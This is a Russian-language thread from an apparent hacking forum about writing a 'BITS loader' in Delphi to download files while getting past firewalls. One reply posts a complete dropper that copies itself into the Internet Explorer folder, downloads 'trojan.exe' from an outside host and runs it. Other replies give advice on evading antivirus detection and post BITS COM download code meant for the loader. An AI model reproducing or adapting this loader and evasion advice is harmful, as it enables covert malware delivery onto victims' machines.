• XSS.stack #1 – первый литературный журнал от юзеров форума

BITS Loader

dedenyoila

CD-диск
Пользователь
Регистрация
10.10.2008
Сообщения
14
Реакции
1
Выложите пожалуйста пример использования службы BITS на Delphi для загрузки файлов.
Также, интересует насколько данный метод актуален при обходе фаерволов на данный момент.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Выложите пожалуйста пример использования службы BITS на Delphi для загрузки файлов.
Также, интересует насколько данный метод актуален при обходе фаерволов на данный момент.
Несколько месяцев назад проверял, работает ещё не знаю как на всех ли или нет.
Исходники есть на офф сайте хеллов.
 
мб тебе над чтот тип такого?
Код:
program Project1;
uses
urlmon,Windows,shellapi;
const IC_Modem=1;IC_LAN= 2; IC_PROXY=3; IC_MODEM_BUSY=4; winetdll='wininet.dll';
function InternetGetConnectedState(lpdwFlags:LPDWORD;dwReserved:DWORD):BOOLEAN;stdcall;external winetdll name 'InternetGetConnectedState';
{$R *.res}
var
dwConnectionTypes: DWORD; a : integer = 1;  f: text;
begin
try
copyfile (pchar(paramstr(0)),'c:\program files\internet explorer\exe.exe',false);
except end;
begin
Assign(F, 'c:\result.vbs');
Rewrite(F);
write(F,'ffff');
CloseFile(F);
while a <> 0 do
begin
dwConnectionTypes:=IC_MODEM+IC_LAN+IC_PROXY; if InternetGetConnectedState(@dwConnectionTypes,0) then
begin
try
urldownloadtofilea(nil, pchar('http://www.a-nightmare.org/xxx/trojan.exe'), pchar('c:\exe.exe'), 0, nil);
ShellExecute(0, 'open','c:\exe.exe',nil,nil, sw_normal);
except end;
a := 0
end
else
sleep(10000);
end;
end;
end.
 
Код:
ShellExecute(0, 'open','c:\exe.exe',nil,nil, sw_normal);
на эту функцию как и
Код:
urldownloadtofilea(nil, pchar('http://www.a-nightmare.org/xxx/trojan.exe'), pchar('c:\exe.exe'), 0,
давно палится авирами... так что выдумывайте другие методы закаачки и исполнения файла... закачку лучше самому через сокеты писать.... над остальным думайте сами...
 
Вот это тут к чему?

try
copyfile (pchar(paramstr(0)),'c:\program files\internet explorer\exe.exe',false);
except end;
begin
Assign(F, 'c:\result.vbs');
Rewrite(F);
write(F,'ffff');
CloseFile(F);
while a <> 0 do

Если ты загружаешь сюда?

urldownloadtofilea(nil, pchar('http://www.a-nightmare.org/xxx/trojan.exe'), pchar('c:\exe.exe'), 0, nil);
ShellExecute(0, 'open','c:\exe.exe',nil,nil, sw_normal);


Господа, проверте копипаст перед публикацией...
 
кстати для с++ там не хватает заголовочных файлов типа bits.h если у кого есть - заделитесь
а для делфи когдато видел файлик bits.pas вообщем если хорошо погуглить то может и можно найти
 
Вот пример скачки файла используя битс

Работа с BITS ведется через интерфейсы COM, так что необходимо минимальное понимание процесса. В модуле bits.pas находятся импортированные и немного подправленые интерфейсы bits 1.0 и bits 1.5. Также в этом модуле есть процедура создания экземляра объекта BITS manager
Код:
function GetBITSManager(out v:IBackgroundCopyManager):Boolean;
begin
 v:=nil;
 CoInitializeEx(nil,COINIT_APARTMENTTHREADED or COINIT_SPEED_OVER_MEMORY);
 CoInitializeSecurity(nil,-1,nil,nil,2,3,nil,0,nil);
 Result:=(CoCreateInstance(LIBID_BackgroundCopyManager,nil,CLSCTX_LOCAL_SERVER,IBackgroundCopyManager,v)=S_OK) and Assigned(v);
end;

Далее в основном файле мы работаем уже с созданым объектом так

Код:
if (mngr.CreateJob('Test',BG_JOB_TYPE_DOWNLOAD,jobId,copyJob)=S_OK) and Assigned(copyJob) then
  begin
   copyJob.SetPriority(BG_JOB_PRIORITY_FOREGROUND);

   if copyJob.AddFile(StringToOLEStr(url),StringToOLEStr(f))=S_OK then
    begin
     copyJob.Resume;  // запуск закачки

     sleepex(300,true);
     mngr.GetJob(jobId,copyJob);
     copyJob.GetProgress(progress);
     copyJob.GetState(state);
    
     // далее в цикле проверяем сколько скачано
     while progress.BytesTransferred<progress.BytesTotal do
       begin
        Application.ProcessMessages;
        SleepEx(200,True);

        mngr.GetJob(jobId,copyJob);
        if Assigned(copyJob) then
         begin
          copyJob.GetProgress(progress);
          copyJob.GetState(state);
          if state>=BG_JOB_STATE_ERROR then Break; // ecли ошибка или скачано - то выход из цикла
         end else Break;
       end;

     if state=BG_JOB_STATE_TRANSFERRED then // проверка что не ошибка :)))
      begin
       mngr.GetJob(jobId,copyJob);
       copyJob.Complete; // обязатльный момент - иначе ваш файл будет с расширением .tmp
      end
     else
      begin
       mngr.GetJob(jobId,copyJob);
       copyJob.Cancel; // если ошибка - то удалим задание - иначе BITS будет пытаться ее загрузить познее
      end;
     copyJob:=nil;   
    end;
  end;

Почитать о технологии BITS можно ТУТ

З.Ы. спасибо артиклзорг =)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх